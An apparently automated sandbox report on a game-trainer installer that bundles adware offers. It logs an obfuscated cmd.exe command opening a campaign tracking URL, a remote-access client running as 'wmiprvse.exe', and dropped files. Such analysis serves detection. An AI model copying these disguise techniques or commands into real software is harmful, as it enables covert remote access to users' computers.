Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Automated click: Next

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

File opened: C:\Windows\SysWOW64\MSFTEDIT.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.- Build a better digital experience with data-driven resultsLet us help your business optimize its performance perform more efficiently and maximize profit to make more strategically-guided decisions. By clicking "Accept" I agree to the HYPERLINK "https://staranalytics.io/EULA.html"EULA and consent to install.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Window detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Welcome this is an important message and license agreement so please read all below carefully. river-city-rival-showdown-trainer-15-v1-8-.exe is financed by advertisement. By clicking Accept you will continue with the installation of river-city-rival-showdown-trainer-15-v1-8-.exe and the offers listed below.Inlog Browser is fast and secure web browser which does not collect your usage data.By clicking "Accept" I agree to the HYPERLINK "https://www.inlogbrowser.com/eula.txt"EULA HYPERLINK "https://www.inlogbrowser.com/pp.txt"Privacy Policy and consent to install Inlog Browser. This program can be removed at anytime in Windows Add/Remove Programs.your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the HYPERLINK "https://advancedmanager.io/eula"EULA and HYPERLINK "https://advancedmanager.io/privacy-policy"Privacy Policy by pressing "Agree". A proxy service to protect your privacy. Accept the HYPERLINK "https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe"EULA by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the HYPERLINK "http://www.thedownloadplanet.com/termsofuse"EULA and consent to install.an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the HYPERLINK "https://legal.opera.com/eula/computers/"EULA HYPERLINK "https://legal.opera.com/privacy/"Privacy Policy and consent to install.- Build a better digital experience with data-driven resultsLet us help your business optimize its performance perform more efficiently and maximize profit to make more strategically-guided decisions. By clicking "Accept" I agree to the HYPERLINK "https://staranalytics.io/EULA.html"EULA and consent to install.proceeding with the installation you agree to the HYPERLINK "https://digitalpulsedata.com/tos"EULA grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none of your personal information will be accessed or collected except for your IP address. This is a strict policy.I &accept the agreementI &do not accept the agreement&NextCancel

Source: ZmWSzgevgt.exe

Static file information: File size 1671954 > 1048576

Source: C:\Windows\SysWOW64\expand.exe

File opened: C:\ProgramData\regid.1993-06.com.microsoft\msvcr100.dll

Jump to behavior

Source: ZmWSzgevgt.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: wininet.pdb source: a1.exe, 00000014.00000003.2353431592.0000000005933000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2567783357.0000000002AC6000.00000004.00000020.00020000.00000000.sdmp, shi4D3B.tmp.33.dr
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb source: v113.exe, 00000020.00000003.2558249286.0000000001331000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Decoder.pdb2 source: v113.exe, 00000020.00000003.2558249286.0000000001331000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\bin\x86\embeddeduiproxy.pdb source: v113.exe, 00000020.00000003.2560788358.0000000002B49000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1402\1402\client32\release_unicode\client32.pdb source: wmiprvse.exe, 0000000E.00000002.4543369015.0000000000402000.00000002.00000001.01000000.00000011.sdmp, wmiprvse.exe, 0000000E.00000000.2226521290.0000000000402000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdbo source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\AICustAct.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, MSIF8B5.tmp.20.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\SoftwareDetector.pdb\ source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdbh source: v113.exe, 00000020.00000000.2555915607.00000000005A8000.00000002.00000001.01000000.00000022.sdmp, v113.exe, 00000020.00000002.2749711024.00000000005A8000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\ShortcutFlags.pdb: source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\ExternalUi.pdb source: v113.exe, 00000020.00000000.2555915607.00000000005A8000.00000002.00000001.01000000.00000022.sdmp, v113.exe, 00000020.00000002.2749711024.00000000005A8000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: msvcr100.i386.pdb source: wmiprvse.exe, 0000000E.00000002.4557171856.000000006F821000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\Prereq.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdbb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr
Source:	Binary string: D:\ReleaseJob\win\Release\bin\x86\embeddeduiproxy.pdb source: a1.exe, 00000014.00000003.2314508919.00000000043BF000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\lzmaextractor.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\SoftwareDetector.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005920000.00000004.00001000.00020000.00000000.sdmp, MSI743D.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: wmiprvse.exe, 0000000E.00000002.4558342201.000000006F902000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb5 source: a1.exe, 00000014.00000003.2300556158.00000000011B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wininet.pdbUGP source: a1.exe, 00000014.00000003.2353431592.0000000005933000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000020.00000003.2567783357.0000000002AC6000.00000004.00000020.00020000.00000000.sdmp, shi4D3B.tmp.33.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdb source: v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: wmiprvse.exe, 0000000E.00000002.4556884096.000000006BF4E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbg source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp, MSI5D6E.tmp.21.dr
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, MSI232D.tmp.21.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: wmiprvse.exe, 0000000E.00000002.4554265373.0000000011194000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: wmiprvse.exe, 0000000E.00000002.4556173624.000000006BEE0000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\DataUploader.pdb] source: a1.exe, 00000014.00000003.2310319349.0000000005C55000.00000004.00001000.00020000.00000000.sdmp, MSI232D.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\InstallerAnalytics.pdbu source: v113.exe, 00000020.00000002.2754964724.000000006A0DC000.00000002.00000001.01000000.00000024.sdmp, v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Decoder.pdb source: a1.exe, 00000014.00000003.2300556158.00000000011B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb> source: MSICDCA.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\ShortcutFlags.pdb source: MSICDCA.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\ExternalUi.pdb source: a1.exe, 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmp, a1.exe, 00000014.00000000.2293954187.00000000003CC000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\stubs\x86\Updater.pdb source: a1.exe, 00000014.00000003.2453151386.0000000006ED0000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000002.2536551108.0000000001C00000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001C.00000000.2464786047.000000000010F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 0000001C.00000002.2534122744.000000000010F000.00000002.00000001.01000000.0000001F.sdmp, Windows Updater.exe, 0000001F.00000000.2490617137.000000000059F000.00000002.00000001.01000000.00000021.sdmp, Windows Updater.exe, 0000001F.00000002.2920934218.000000000059F000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdbz source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\Prereq.pdbb source: v113.exe, 00000020.00000003.2560788358.000000000290E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: wmiprvse.exe, 0000000E.00000002.4556884096.000000006BF4E000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\aischeduler2.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, MSI80A8.tmp.21.dr, MSI80A7.tmp.21.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: wmiprvse.exe, 0000000E.00000002.4557866506.000000006F8E5000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: E:\jenkins\workspace\ktop-agent_release_PDFY23FEB_1.0\target\Windows\x64\bin\Release\Setup\ODISSDK.pdb~ source: a0.tmp, 00000007.00000003.2226960209.0000000005711000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: f:\mydev\inno-download-plugin\unicode\idp.pdb source: setup.tmp, 00000004.00000002.4557123919.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.4559208924.000000001002F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\ReleaseJob\win\Release\custact\x86\InstallerAnalytics.pdb source: a1.exe, 00000014.00000003.2310319349.0000000005AC0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmp, MSIB1F8.tmp.21.dr, MSI12C7.tmp.21.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\lzmaextractor.pdb source: v113.exe, 00000020.00000003.2560788358.0000000002830000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\stubs\x86\Updater.pdb source: v113.exe, 00000020.00000003.2648983734.00000000032B6000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Obfuscated command line found

Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i^&c=5306757^&pl=0x03^&pb=1^&px=2598			Jump to behavior

Source: shiF808.tmp.20.dr

Static PE information: 0xC7FEC470 [Wed Apr 29 05:06:56 2076 UTC]

Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe

Code function: 20_2_002F42C0 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

20_2_002F42C0

Source: ZmWSzgevgt.exe	Static PE information: section name: .didata
Source: ZmWSzgevgt.tmp.0.dr	Static PE information: section name: .didata
Source: is-74O1B.tmp.1.dr	Static PE information: section name: .didata
Source: is-04ME8.tmp.1.dr	Static PE information: section name: .didata
Source: setup.tmp.3.dr	Static PE information: section name: .didata
Source: a0.exe.4.dr	Static PE information: section name: .didata
Source: a0.tmp.5.dr	Static PE information: section name: .didata
Source: is-1L53Q.tmp.7.dr	Static PE information: section name: .didata
Source: is-9GOQR.tmp.7.dr	Static PE information: section name: .00cfg
Source: is-9GOQR.tmp.7.dr	Static PE information: section name: _RDATA
Source: 51ccd7e4634de4468d3b8ec370ae3220.tmp.10.dr	Static PE information: section name: .hhshare
Source: shiF808.tmp.20.dr	Static PE information: section name: .wpp_sf
Source: shiF808.tmp.20.dr	Static PE information: section name: .didat
Source: AdvancedWindowsManager.exe.21.dr	Static PE information: section name: .xdata

Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_1001B0B9 push ecx; ret	4_2_1001B0CC
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	Code function: 4_2_10017775 push ecx; ret	4_2_10017788
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043B5D26 push edi; retf	20_3_043B5D39
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_3_043AEC94 push ecx; retf	20_3_043AECC3
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_001CA5A0 push ecx; mov dword ptr [esp], ecx	20_2_001CA5A1
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00297850 push ecx; mov dword ptr [esp], 3F800000h	20_2_00297986
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_00349E4E push ecx; ret	20_2_00349E61
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A525BB6 push FFFFFFE8h; ret	20_2_6A525BB9
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A56D80C push ecx; ret	20_2_6A56D81F
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	Code function: 20_2_6A5266B6 push FFFFFFE8h; ret	20_2_6A5266B9
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 28_2_000D870C push ecx; ret	28_2_000D871F
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 31_2_0056870C push ecx; ret	31_2_0056871F

Source: initial sample

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-92M1P.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA3C5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1F30.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	File created: C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\is-74O1B.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi5EB1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID28A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8687.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi13CD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1239.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\ZmWSzgevgt.exe	File created: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shi135F.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	File created: C:\Windows\Temp\MSI4C62.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\is-04ME8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI832A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI10B0.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi4DAA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI11F9.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Windows\Temp\shi74BC.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\cd2f845e419388478df81bc59730a20b.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\51ccd7e4634de4468d3b8ec370ae3220.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5C73.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6CC8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6DC5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8057.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6F32.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\f88670462385d642bd8a486306392759.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Users\user\AppData\Local\Temp\is-TMJSM.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-P5SF5.tmp\ZmWSzgevgt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-0270L.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp	File created: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\idp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-53US7.tmp\a1.exe	File created: C:\Users\user\AppData\Local\Temp\MSIF8B5.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\shiFA87.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI234D.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-8LRUI.tmp\a0.tmp	File created: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-KD7U9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICEC6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI71C6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1336.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICFD6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6E53.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	File created: C:\ProgramData\333e0f034c7f41d48df4d6f9b3a5a54c$dpx$.tmp\078630d72d217d4d9885ece5b71fe988.tmp	Jump to dropped file
